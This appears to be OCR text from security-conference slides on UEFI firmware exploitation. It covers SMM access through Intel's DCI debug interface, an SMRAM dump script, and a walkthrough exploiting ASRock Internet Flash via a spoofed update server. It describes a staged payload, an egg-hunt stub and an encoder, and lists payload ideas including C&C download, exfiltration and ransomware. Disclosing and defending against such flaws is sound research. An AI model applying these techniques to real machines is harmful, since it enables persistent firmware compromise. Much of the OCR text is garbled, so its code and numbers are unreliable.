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UEFI EXPLOITATION FOR THE MASSES

“IF YOU WANT TO KEEP A SECRET, YOU
MUST ALSO HIDE IT FROM YQURSELF”

“WAR IS PEACE.
FREEDOM IS SLAVERY.
IGNORANCE IS STRENGTH.”




WHO ARE W

Jesse Mickey
Michael Shkatov

@jessemichael @HackingThings

@C‘ Sium
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BACKGROUND
GETTING STARTED
EVIL MAID ATTACKS ON UEFI
EXPLOITING UEFI IN REAL LIFE
UEFI EXPLOIT MITIGATIONS
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BACKGROUND

BIOS — Basic Input Qutput System

UEFI = Unified Extensible Firmware Interface
DCI - Direct Connect Interface

SMM - System Management Mode




BACKGROUND

Yuriy Bulygin
@ Corey Kallenberg
& Neno Kovah
Rafal wojtczuk ‘;
% Nikolaj Schlej {
Snare
Matthew Garrett
Joanna Rutkowska
Trammell Hudson
And more...




BACKGROUND

Firmware Security Asoxorarun-
AN OVERLOOKED THREAT /> Feme TN 4

Firmware, the hard-coded software that frequently
is stored in Read-Only Memory (ROM), is a vulnerable
and increasingly attractive entry point for hackers.
Solutions regarding firmware security - such as
~ using manufacturers that allow enterprises
to independently validate the integrity -
~ of their devices - are emerging, but
_many security professionalsand
me not aware
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BACKGROUND
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BACKGROUND

Some patent titles:

- Remote management of UEFI BIOS settings and
configuration
- Network enhanced BIOS enabling remote management
of a computer without a functioning operating system
- Remote BIOS upgrade of an appliance server by
rehooting from updated BIOS that has been downloaded into service
partition before flashing programmable ROM
- System for configuring a computer with or without an
operating system to allow another computer to remotely exchange data
and control the computer
- System and method for performing remote BIOS
upclates
- Remotely controlled boot settings in a server blade
environment
- Chipset-independent method for locally and
remotely updating and configuring system BIOS



https://patents.google.com/patent/US7904708B2/en
https://patents.google.com/patent/US5978912A/en
https://patents.google.com/patent/US6594757B1/en
https://patents.google.com/patent/US6609151B1/en
https://patents.google.com/patent/US6732267B1/en
https://patents.google.com/patent/US7013385B2/en
https://patents.google.com/patent/US20070220244A1/en

GETTING STARTED
A Recommended Tools
D86 [ntel Studio Debug
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GETTING STARTED

Getting started with a firmware debug environment:
1. Intel Hardware Debug Interface (DCI)

2. Intel Studio Debug

3. Intel Debug Abstraction Layer




GETTING STARTED

Starting and using Intel Studio Debug
1. Start ConfigConsole.exe and connect

85! Configuration Console m} X 85! Configuration Console O X

File Tools Help Click to Connect to MasterFrame Kill Masterframe Eile Tools Help Click to Disconnect from Mast Kill Masterframe

Platform Selection Physical Interfaces Logical Devices Logging Platform Selection  Physical Interfaces  Logical Devices  Logging

Platform Select: Current TopoConfig Platform: Platform Select: Current TopoConfig Platform:
SKL_KBP_OpenDCI_DbC_Only_ReferenceSettings SKL_KBP_OpenDCI_DbC_Or SKL_KBP_OpenDCI_DbC_Only_ReferenceSettings SKL_KBP_OpenDCI_DbC_Or
KBL_KBP_Separate DebugPorts
KBL_SPT_OpenDCI_CCA_[DbC]_ReferenceSettings
KBL_SPT_OpenDCI_DBC_Only_| nceSettings
KBL_SPT_OpenDCI_XDP_DbC_R nce Settings
KBL_SPT_ReferenceSettings
arate DebugPorts

| ference Settings_Separate DebugPorts
Remote RDPI Generic
SKL_KBP_OpenDCI|_CCA

_KBP_ReferenceSettings
SKL_SPT_DT_SeparateDebugPorts
SKL_SPT_OpenDCI_CCA_[DbC]_ReferenceSettings
SKL_SPT_OpenDCI_Dbc_Only_R: nceSettings
SKL_SPT_OpenDCI_XDP_DbC_ReferenceSettings

_SPT_| nceSettings
SKL_SPT_Separate DebugPorts
SKX_4S_Purey_SeparateDebugPorts
SKX_KBP_BasinFalls_Reference Settings
SKX_KBP_OpenDCI_CC/ bC]_BasinFalls_Reference Setting:
SKX_KBP_OpenDCI_DbC_Only_BasinFalls_]
SKX_LBG_OpenDCI_CCA_[DbC]_Purey_R
SKX_LBG_OpenDCI_DbC_Only_Purey_R
SKX_LBG_PTI_Purey_Separate DebugPorts_Reference Setting:
SKX_LBG_PTI_Purey_ReferenceSettings
SKX_LBG_Purey_| :nce Settings
SKX_LBG_Purey_: DebugPorts_ReferenceSettings
SKX_LBG_Stratix_ReferenceSettings




sSETTING STARTED

Starting and using Intel Stucdlio Debtig
1. Start Intel Studio Debug and connect

& Connect To Target & Connect To Target

m Hardware Probe: |Intel(R) DCI OOB m Hardware Probe: | Intel(R) DCI OOB

Intel(R) DCI OOB
Intel(R) DCI USB 3.x Debug Class
ﬂ Target Platform: |Intel(R) In-Target Probe (Intel(R) ITP) ﬂ Target Platform: | Existing Intel(R) DFx Abstraction Layer (Intel(R) DAL) Configuration
Simics Existing Intel(R) DFx Abstraction Layer (Intel(R) DAL) Configuration
UEFI agent 6th Gen Intel Core Processor (Skylake)
Advanced Parameters dvanced Paramete|7th Gen Intel Core Processor (Kaby Lake) / Intel 100 Series Chipset (Skylake PCH-H)
7th Gen Intel Core Processor (Kaby Lake) / Intel 200 Series Chipset (Kaby Lake PCH-H)
8th Gen Intel Core Processor (Kaby Lake R) / 6th Gen Intel Core Platform I/O (SunrisePoint PCH-LP)
8th Gen Intel Core Processor (Coffee Lake-S) / Intel Z370 Series Chipset (Kaby Lake PCH-H)
Intel Xeon Scalable Processor (Skylake-SP) / Intel C620 Series Chipset (Lewisburg)

Connect Cancel Connect Cancel

PythonConsole.cmd
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GETTING STARTED

Alternatively:
PythonConsole.cmd

Intel DAL Python CLI

Registering MasterFrame... A
Registered C:\Intel\DAL 1.9.9588.110\MasterFrame.HostApplication.exe Successfully.

|Using Intel DAL 1.9.9588.100 Built 10/23/2017 against rev ID 544636 [1742]

Using Python 2.7.12 (64bit), .NET 2.0.50727.8933, Python.NET 2.0.18, pyreadline 2.0.1
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EVIL MAID AT ACKS Ol\ ULFI

Physical access attacks on UEFI fu mwal e
Open Chassis vs Closed Chassis




EVIL MAID ATTACKS ON UEF|




Exploiting UEEFlL inreal life

Known CVIE’s

CVE-20124-8273
CVE-2015-0949
CVE-2017-11315
CVE-2017-3753
CVE-2017-11312
CVE-2017-11316
CVE-2017-11313
CVE-2017-11314
CVE-2018-3612




Exploiting UEEFlL inreal life
B Intel DAL Python CLI SIVIVI EN"‘E'

Registering MasterFrame... A
Registered C:\Intel\DAL_1.9.9588.110\MasterFrame.HostApplication.exe Successfully.
Using Intel DAL 1.9.9588.1060 Built 16/23/2017 against rev ID 544636 [1742]
Using Python 2.7.12 (64bit), .NET 2.0.50727.8933, Python.NET 2.0.18, pyreadline 2.0.1
Note: The ‘coregroupsactive’ control variable has been set to 'GPC’
Using SKL_KBP OpenDCI DbC Only ReferenceSettings
>>? itp.halt()
[SKL_CO Te] Halt Command break at 6x38:0000000086E78817
[SKL_CO T1] HLT Instruction break at 0x38:00000000000571E5
[SKL_C1 Te] HLT Instruction break at 0x38:00000000000571E5
[SKL_C1 _T1] HLT Instruction break at 6x38:00000000000571E5 -
>>> itp.cv.smmentrybreak.setValue("True™) -
>>> itp.threads[@].port(6xB2,0x1)
>»>> itp.go()
>>? [SKL_Ce _Te] SMM Entry break at 0xCEOO:0000000000008000
[SKL_CO T1] SMM Entry break at OxCES0:0000000000003000
[SKL_C1 Te] SMM Entry break at ©0xCFo0:0000000000008000

[SKL_C1 T1] SMM Entry break at ©6xCF80:0000000000008000 /
>>2 ]
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Exploiting UEEL inveal llfe
B&H Intel DAL Python CLI SVIVI IEN TE

import time

itp.halt()
itp.cv.smmentrybreak.setValue("True")
itp.threads[0].port(0Oxi32,0x1)

itp.go()

time.sleep(5)

smrambasephys = itp.cores[0].threads[0]l.msr(Ox1f2)
smrambasephys[0:12] =0
itp.threads[O0]l.memsave(r"c:\Intel\smram_dump.bin",smrambasephys.TotHe
xX(), Ox800000, True)

itp.cv.smmentrybreak.setValue("False")

itp.go()




Exploiting UEFL in veal life
Accessing SMM using Intel Debug CVE-2018-3652

1. Intel Debug studio
2. Intel DAL

=~-SMM ENTER

Code  Data

Condition: :SMM Entry Break
- SMM Exit Break
Actions:  |Reset Break
Init Break
Symbol: VM Launch Break

VM Exit Break
Machine Check Break
Shutdown Break

Skip:
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-xploiting UEEFl inreal life
m 0 - ‘
ystem Debugger -n= y
Edit Viev Run Debug Options Help - .\J
FEJTXE|[O KWK~ D -] W, Ll (EModules LoadPEIMs LoadThis
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Exploiting UEFL in veal life

Accessing SMM using Intel Debug
1. Intel Debug studio

2. Intel DAL

G5 Create Breakpoint

Code

Type:

Condition:

Actions:
Symbol:

Skip:

Data

Platform

SMM Entry Break v

SMM Entry Break
SMM Exit Break

Reset Break

Init Break

VM Launch Break
VM Exit Break
Machine Check Break
Shutdown Break

[J Continue

Cancel
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-xploiting UEElL inreal life

Intel(R) System Debugger

File Edit View Run Debug Options
Fa5 5 X E|c
ORE XY &%
B Console View &2

Debugger Commands

[ Hardware Threads 2

Name

Location

i3
X

LoadDXEModules LoadPEIMs LoadThis

: @
' (m Registers &3 # Model Specific Registers ¥ =08

~

v

Register Value Description

<

REX




stem Debugger X
File Edit View Run Debug Options
& &5 X Bz A [E =] LoadDXEModules LoadPEIMs LoadThis
ARE Xy @%

B Console View &2 aH [,-‘_,;‘n Assembler: 0xFO00:0xFFC2 to OxFO00:0xFFFF &2 = B8 L_ﬁ Registers &3 m Model Specific Registers ¥ =08
Debugge Q?rzwmands Opcodes 2 Register Value Description

[ Hardware Threads 2 @ Breakpoints

Name State Location

OxFODD:OxFFF2

o006 o 0000 © 00000 00
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Exploiting UEEFL in |‘eal I|fe

Evil Maid attack on UEFI via har dwm (o debug interface







Exploiting UEFl in real life

Who has internet based UEFI functions?

ASRock (updates, email)
ASUS EZFlash (upclates)
HP (updates, remote diagnostics)




Exploiting UEEFlL inreal life

Bugs in Internet based UEFI updates

ASRock Internet Flash

« Bug reported to ASRock

« We’ll walk through this exploit
ASUS EZFlash

« Similar bug reported to ASUS




Exploiting U

® @ OC Twesker 4 Advanced % la O mnitor @ Security Oooot Qo

1 3 ARA RGB LED

| am System Browser

| ©UEFI Tech Service
| EEasy RAID Installer

Description

| @8 Boot Nenager ASRock Internet Flash downloads and
updates the latest UEFI firmware
UEF] Update Ut11ity version from our servers for you.
1 Please setup network configuration
| @ Instant Flash before using Internet Flash.
. E®Internet Flash - WP (uto IP). Auto

| &l Network Configuration




iy, ;
rfsus 9EFI»BIOS Utility - Advanced Mode

ssnszosmmEss

ASUS EZ Flash 3 Utility v03.00

2 Flash

Model: Z170-A Version: 0603

Date: 07/3

File Path: fsO:\

Drive Folder

EZ Flash 3

® Help

[Enter] Select or Load [Up/Down/PageUp/PageDown/Home/End] Move [ESC] Exit

20 0000 0000 © 00000 00
oo _eoce o °
o o °
® °
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T .
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Exploiting UEEL in real life
Exploit walkthrough l

Debugging the exploit

Wait, | can what now?




Exploiting UEFI in real Iife

Target platform |
Z370 CFL (8 Gen) ASRock, atest everything




Exploiting UEFL in veal life

Exploit walkthrough

GET http: Wwivw. asrock.co
Host: ""b~‘ l.- :“ S 9 =

connection: Keep-Alive




-xploiting UEEL in real life

Exploit walkthrough

GET by = =y w WV SrOCK.COm/=s "\DOT velln = SD’N 2] = 370%20 ming-ITxX,/ac HTrP,."'l- .L

HOStT: www.asrock.com
connection: Keep-Alive

66.226.78.2
http://66.226.78.2
>http://66.226.78.22¢

3.00" Date="12/5/2017" Type="Normal">
-Download this malicious BIOS I made for you...</D
ize="12.73MB">/support/200.zip</File>
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Exploiting Ul' 2 lm,.;“
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Exploit walkthrough
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Exploiting UEFL in veal life

Exploit walkthrough

GET http: . asrock.com/suppor veup sp?™Model=Z370%20Gamit X/ac HTTP/1.1
HOosSt: www.asrock.com
connection: Keep-Alive

ntry="Us"
>http://66.226.78.22
http://66.226.78.22
http://66.226.78.22
>http://66.226.78.22<,
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Exploiting UEFL in real life
Exploit walkthrough ' e
* Initial steps




-xploiting UEEL in real life

File Edit View Run Debug Options Help

Console CrivAlt+C TP BR| @® RBLEER|Q Q| GG GhHGEE: R | (@] @8  LoadDXEModules LoadPEIMs LoadThis Y
Breakpoints Ctrl+Alt+B

Callstack Ctr+Alt+K = 5 ([0 Assembler: 0x0038:0x000000005797E59D to 0x0038:0x000000005797E6A2 52 = O || Registers 52

) Hardware Threads Ctrl+H A
Location Trail Address Opcodes  Source

o Instruction Trace Ctrl+|
‘ Locals Ctrl+Alt+U

Source Files Ctrl+Alt+F

||| Register Value

o

nop RBP 0x8000000000000000

[TRTs]
-

nop § 72110

i)

al ol @ &

nop
nop

5

3:

Memory... Ctrl+M
Registers Ctrl+Alt+G

i)

0w oW
o

nop
nop 0x8B48D6894C414141
826701

]

gl

Assembler Ctrl+Alt+]
nop

WO
o

i)

Vector Registers Ctrl+Alt+)

)
-

nop

)
o

Paging nop

:0x0000000057

Evaluations > nop 2IP 0x000000005797ESE6E

i)

=
o
o
=
o
=
o
o
=3
o
=
O
=
O
=
o
O
=
O

(9]
oW
[T TS

o

)

- no
System Registers > P

> <
CPU Structures > §J cor :
Consol joints mIDT: 0x000000005d352100 &3
1 DT ;
Toolbars > -
LDT Name Type Description
[ -~

Reserved INTGATEG4 s5el=0x0038 off=0x000000005D353E
Invalid TSS INTGATEG4 sel=0x0038 off=0x000000005D353E
VxWorks Tasks Segment Not Present INTGATEG4 s5el=0x0038 off=0x000000005D353E
VxWorks Kernel Modules Stack Fault INTGATE64 se1=0x0038 off=0x000000005D353E
General Protection INTGATEG4 s3el=0x0038 off=0x000000005D353ED(
Fault INTGATEG4 sel=0x0038 off=0x000000005SD353EDS8

<

Debugger (
¢ Flash Memory Tool

PCl Tool

Linux Modules

0000 200 [ 34
00 0000000 000
®




-xploiting UEEL in real life

Exploit walkthrough

[4sh Assembler: 0x000000005D353EA2 to 0x000000005D35409F 2 = 0O |G Registers &%

Trail Address Opcodes  Source . Register Value

1Y)

O
w -

add byte ptr [rax+0xT7A3E8], ¢ RBP
add byte ptr [rbx], cl 8
add byte ptr [rax+0x79BE8], ¢

O w0
. .

add byte ptr [rax+rax*1l], c
no p

.. call 0x5D354668 <>
Create Breakpoint > Auto

Run To Line Software

Move PC To Line Hardware

C)0x000000005D353EDD
C)3x333333335D353EDE g 783ES8
= SHROUELUEY Show Current Location S3EE], ™
Find Source Code !

A - 107 . 3 &3
& Breakpoints a IDT: 0x000000005d352100 Show Memory

Index

]
]

)

il

o O
|l i
N = O

o o
[
W

Name

Reserved

Invalid TSS

Segment Not Present
Stack Fault

General Protection
Page Fault

Change Startaddress...

Reload

Source Annotations

Copy
Copy All

Select All

Description

sel=0x0038
sel=0x0038
sel=0x0038

sel=0x0038 off=0x000000005D353ECS8
s3el1=0x0038 off=0x000000005D353EDO

sel=0x0038

>




-xploiting UEEL in real life
Exploit walkthrough

Cdl Callstack 52 ¥ = O ||[ish Assembler: 0x0038:0x000000005D353EA2 to 0x0038:0x000000005D35409F 57 = O |04 Registers &2

Location Trail Address Opcodes Source o Register Value
© Dx0000000C - @ 0x0038: ( 8 ... add byte ptr [rax+0xT79BE ; ;
add byte ptr [rax+rax*1l]
@ 0x0038:0x000000005D353ECF 3 nop
© 0x0038:0x000000005D353EDO call 0x5D354668 <>
} oxr eax,

X\

<
El Console View &3 -f = O ||[& Breakpoints | I 1DT: 0x000000005d352100 &2

DE?UQQH C.?T:na:‘df_ A T— — Index Name Type Description
P o T Invalid TSS INTGATEE4 sel=0x0038 off=0x000000005D353EBS
Segment Not Pre... INTGATE64 sel=0x0038 off=0x000000005D353ECO
Stack Fault INTGATE64 sel=0x0038 8
General Protection INTGATE64 sel=0x0038
Page Fault INTGATE64 sel=0x0038

Reserved INTGATE64 sel=0x0038 off=0x000000005D353EEOQ
>

B
C

@ |[0][default] IP=0x0038:0x000000005D353ED0 0x0038:0x000000005D353ED0




-xploiting UEEL in real life

Exploit walkthrough

B || [sh Assembler: 0x0038:0x<000000005D353EA2 to 0x0038:0x000000005D35409F 53 = 0| L Registers &3

Trail Address Opcodes Source &

Register Value

add byte ptr [rax+0x79BE X O

add byte ptr [rax+rax*1l]

nop

call 0x5D354668 <>

or eax, 1000 1000000 Modify...
:0x000000005D353EDA x0 .. SFF72110 Update All
Show Memory

B = B|/[@ Breakpoints |I[J IDT: 0x000000005d352100 | 3: Memory{1] 0x000000005797E3A0 53 2| Copy

0=No 0 Copy All

Select All

]
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-]
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-]

A T)
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o

w

w
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w

Q

(=
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w
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(=]
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-
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@ [0][default] IP=0x0038:0x000000005D353ED0D




Exploiting UEELIn veal life

Exploit walkthrough
« Constraints
 Architecture
« Bad characters
o Size limit




Exploiting UEFLin real life

Exploit walkthrough 4
+ Verifying RCE |




-xploiting UEEL in real life

Exploit walkthrough
« Verifying RCE

[4sm Assembler: 0x0038:0x000000005797E5BC to 0x0038:0x000000005797E6B2 ©7 = 0| G Registers &

Trail Address Opcodes  Source o Register Value

[}

nop

nop

nop

nop

nop

jmp OxXST79T7ESEA <>
mov ch, ah

il

-] o n

i)

O P w
M 0w W W W o
W o o c

-]

Xxchg edi, eax

a
g
S

~J

push rdi

add byte ptr [rax],
add byte ptr [rax],
add byte ptr [rax],

il

(=]

il
il

y O
O




Exploiting UEFl in real life

Exploit walkthrough
« Now what?
« We control the return address
* No ASLR
 The stack is executable
 But we don’t have much room...




-xploiting UEEL in real life

Exploit walkthrough
* Finding full XML document

embler: 0x0038:0x000000005797E5BC to 0x0038:0x000000005797E6B2 & = 0| /L Registers i3

Address Opcodes  Source A Register Value
@ 0x0038:
@ 0x00

@ ox00

@ 0x0038:
© 0x0038:
@ 0x0038:

il

nop

i)

nop

i)

nop v -
nop 0x0000000057977" ™" ‘
jmp Ox5797ESEA <> ST OXFE \C Modify...

mov ch, ah D 0x9090909090¢% Update All

W oW oW

il

=
o

[84]
(8]
o]
wn

Show Memory
(& Breakpoints | i Memory[1] 0x000000005797E1D8 53 = Copy
Symbol Copy All
oY Select All

il
il
-
-
-
-
il
il

il
il
-]
-]
-]
-]
il
il

il
il
-
-
-]
-]
il
il

S797E1F4

-]
-]
i)
i)

~]
=]
W

il
il

w0 oW
Y9
[
o
[S . |

~)

~
S
S

o 0
w
[SORE |
W
[

O 0

m

0 0000 0000 © 00000 00
o oo ®o

e o000
&4 ° (3.4 4
(1] e 000000 0000000
[ 34 o0 oo -d ®
00000 L]
o o600 000000 e



-xploiting UEEL in real life

Exploit walkthrough
* Finding full XML document

tsembler: 0x0038:0x000000005797E5BC to 0x0038:0x000000005797E6B2 &3 = Registers 3

~

Opcodes  Source Register Value

il

ni:xp

il

nop

i)

ncxp
nop 41C8F000
jmp OxS5T797ESER <> 11 0 D0000579TESC Modify...

mov ch, ah 1L 0 D¢ 0 0 Update All

W ow oW

o

@ o o

(s3]
(s3]

t
w
o

Show Memory
(& Breakpoints | (& Memory[1] 0x0000000041C8F000 &3

Symbol
34

Copy

6d 1.4.49....<?xm Eopyias
30 version="1.0 Select All
7 ing="ut T >
64 8 ‘LiveUpd
7 ate Model="Fat
6d allty Z370 Gam
44 ing-ITX/ac"><D

-]
[a)]
m N
wmm
m ) W
(T3]
M O
w0,
M O
H
o I SN |
M o

H W
w o,
0O Wb
o,

)

H W w0 w

w o
A Hh W N
w

[ S I (]

Db W W
O Fh oM

Wb

a -

w o,
-] = n

| SO T I 06 I O s )
(41 SR Y

o
Q =

(&3]

w0 o
m o,
SV

N W,

[a)]
(o )
(159
159
w
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Exploit walkthrough =)
- Staged payload *

ON THE STACK

ON THE HEAP




-xploiting UEFI inreal life

Exploit walkthrough
- Transition to 2" stage payload

[1sh Assembler: 0x0038:0x000000005797E59D to 0x0038:0x000000005797E6A2 7 Gy Registers &3

Trail Address Source Register Value

o
©
[al
=
=%
m
w

TE

)

:0x0000000057 nop
nop

jmp O0xST797ESCB <>

mov rcx, 0x4141414141414141

mov rsi, rl0

il

w0 o
=)

oo
Y 0 o
Las)

-]
=

~J

w0 oW lp
~J
o]

n ;oW
)

w B w0

~.)

]
9]

~J
w
(]
=)
S

Create Breakpoint

=)
]

mov rax, gword ptr [rsi] Run To Line
sub rsi, Oxl Move PC To Line
) rax, XCxX
OxX5797ESDA <> Show Current Location

e Y STY SR )

=

B
8
D7 4C
S

4 ™
o,
)
1

rax, ptr [rsi+0x9] Find Source Code
) rax

“m o> ; ;o inon

Show Memory

Change Startaddress...
w oy O [a Breakpoints &3 Reload

0 0000 0000 © 000
®e o000 oo




-xploiting UEFI inreal life

Exploit walkthrough
- Transition to 2" stage payload

(15t Assembler: 0x0038:0x000000005797E59D to 0x0038:0x000000005797E6A2 7 = O[04 Registers 3

Trail Address Source = Register
@ 0x0038: 7
@ 0x0038:

]

nop RBP
nop R8

Jmp 797 <> RS

mowv 0 1414141414141 R10
mov i, ¥ R11
mov xr gqword ptr [rsi] R12
sub i, Ox1 R13
cmp ;s 12 R14
jnz 5797 > R15

ptr [rsi+0x9] nTn
Create Breakpoint

S
0

@ 0x0038

© ox0038:
@ 0x0038:
@ 0x0038:
@ 0x0038:
@ 0x0038:
@ 0x0038:
@ 0x0038:
@ 0x0038:

o
[ T o B 4 B I |
[l )

=

a0
< 0w w0

¢ w W

t o

W i o o

|
]

Run To Line
Move PC To Line




-xploiting UEEL in real life

Exploit walkthrough
- Transition to 2" stage payload

T TT ™R (@ 2| Q@ | Goh G G Ge (5 B¢ | (& | @ LoadDXEModules LoadPEIMs LoadThis g

Ins

a5 Assembler: 0x0038: 38: &3 = 0O |G Registers &2

Trail Address Source w Register Value

48 8B O mov rax, gword ptr [rsi] RDX
sub rsi, 0Oxl1 RSI 0x0000000041C7C374a

cmp rax, Ircx RDI 0OxC8394801EE834806
jnz OxS797ESDA <> RSP

O Ox00

@ 0x0038: 00000000579

4
4

o > @

© ox0038:
@ 0x0038:

lea rax, ptr [rsi+0x9] RBP

|
]

jmp rax R8

Symbol

41 41 41
c7 10 a0
48 ff ceo

i)
i)

41 41
c7 cl

e0 04

[¥ S )
LS A I B
[

[

0

[S LI SR )
VY
[84]

A1)
0
[a)]

C

0 0000 0000 © 000
®e o000 oo ®




Exploiting UEELIn veal life

Exploit walkthrough
« Second stage
« We have more room now, but what can we do?




Exploiting UEEFlL inreal life

Exploit walkthrough

 Let’s talk about the UEFI environment
« UEFI applications

UEFI protocols

System Table

Boot Services

Runtime Services




Exploiting UEEFlL inreal life

Exploit walkthrough
« UEFI applications
« Windows PE executable format
« Passed Handle and System Table at launch
EFI_STATUS
EFIAPI
UefiMain (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{




Exploiting UEEL in real life

Exploit walkthrough
* UEFI protocols
* Identified by GUID
« Can be registered by one
application/driver
« Looked up by GUID and called by
other driver/application

d

0 0000 0000 © 00000 00 0000 000 0 oe
°® _6oco_ oo L] e o 00 0000000 000 00
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Exploiting UEEFlL inreal life

Exploit walkthrough

o UEFI System Table contains:
« Boot Services and Runtime Services pointers
« Console Input, Qutput, and StdErr pointers
« Configuration Table pointers




Exploiting UEEFlL inreal life

Exploit walkthrough
* UEFI Boot Services protocols:
« Memory handling
 [Event operations
 Protocol operations
Load and start UEFI applications
Exit Boot Services




Exploiting UEEL inveal life

Exploit walkthrough

* UEFI Runtime Services pr oto»ols
 Variable operations
« CQapsule operations




Exploiting UEEFlL inreal life

Exploit walkthrough
« Interesting Boot Services functions
« LocateProtocol()
* Finds a protocol by GUID
« Loadimage()
« Loads a UEFI image into memory
« Startimage()
* Transfers control to a loaded image’s entry
point.




Exploiting UEELIn veal life

Exploit walkthrough
 How do we call them?
« We need the Boot Services pointer




I \|Jl¢>|t|ng Ul" -1 |n F///e"ll Ilfe

Exploit walkthrough
« Staged payload

—_——
1
:

ON THE STACK

ON THE HEAP

d
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Exploiting UEFl in real life

Exploit walkthrough
 But wait, there’s more!
 An additional constraint we clicdin’t kn¢>w about...
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Exploiting UEFI inﬁi;ﬁ/bal_life
Exploit walkthrough | i f /AR

We’'ll just copy the 2nd stage payluad elsewheu e
QN THE STACK

ON THE HEAP

ALSO ON THE STACK

d
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Exploiting UEFL in real life
Exploit walkthrough |/
¢ Success!







Exploiting UEEFlL inreal life

Exploit walkthrough
 Not s0 success...
« Can only run apps up to about 12k
« Limited stack space
« Also ran into issues with our payload encoder...




Exploiting UEEFlL inreal life

Exploit walkthrough

* Need a better encoding mechanism
« Arbitrary size payload
« Can’t fail to encode the payload
« As small and simple as possible
* Thought about just using hase64




Exploiting UEEFlL inreal life

Exploit walkthrough
Encoding solution
Convert payload to long string of hex digits
Then map 0-9a-f to a-p

xxd -g 0 -p - 1000000 | tr '[0-9a-f]' '[a-p]’




Exploiting UEEFlL inreal life

Exploit walkthrough
« Decode stub
 No need for any tables
o Simple loop that just subtracts ‘a’ from each
nibble




Exploiting UEFI in real Iife

Exploit walkthrough |
« Finding a better place to store ‘)"d stage




Exploiting UEELIn veal life

Exploit walkthrough |
« Finding a better place to store 2nd stage
« UEFI applications run in ring 0O




Exploiting UEFl in real life

Exploit walkthrough
« Fincding a better place to store 2" stage
« UEFI applications run in ring 0O
 No memory protections between UEFI apps




Exploiting UEELIn veal life

Exploit walkthrough |
« Let’s just write our code over another UEFI app
o Success!







Exploiting UEFl in real life

Exploit walkthrough
« Let’s just write our code over another UEFI app
o Success!
« Qan run arbitrarily sized UEFI applications!







Exploiting UEEFlL inreal life

Exploit walkthrough
« Other payload ideas
* UEFI contains full network stack
« Locate gEfiTcp2Dxe and other net protocols
« Configure and connect to remote server
- Download 3 stage
o Full €C&C€ capabilities




Exploiting UEEFlL inreal life

Exploit walkthrough
« Other payload ideas
« UEFI contains built-in decompression code
« Locate gEfiDecompressProtocolGuid
« Qall Getinfo() and Decompress()




Exploiting UEEFlL inreal life

Exploit walkthrough
« Other payload ideas
* This UEFI firmware image contains NTFS.efi
 Drop malware into OS$S
« Exfiltrate interesting data
« Ransomware




Exploiting UEEFlL inreal life

Exploit walkthrough
« Other payload ideas
* This UEFI firmware image contains NTFS.efi
 Drop malware into OS$S
« Exfiltrate interesting data
« Ransomware
« Just include it in payload if not already present




UEFI Stack protections

ASLR
DEP
Other defenses

.....
0000000
............

.........
...............
00000000



Always use latest edk from git

Use latest gnu-efi

.....
.......
............




Questions?




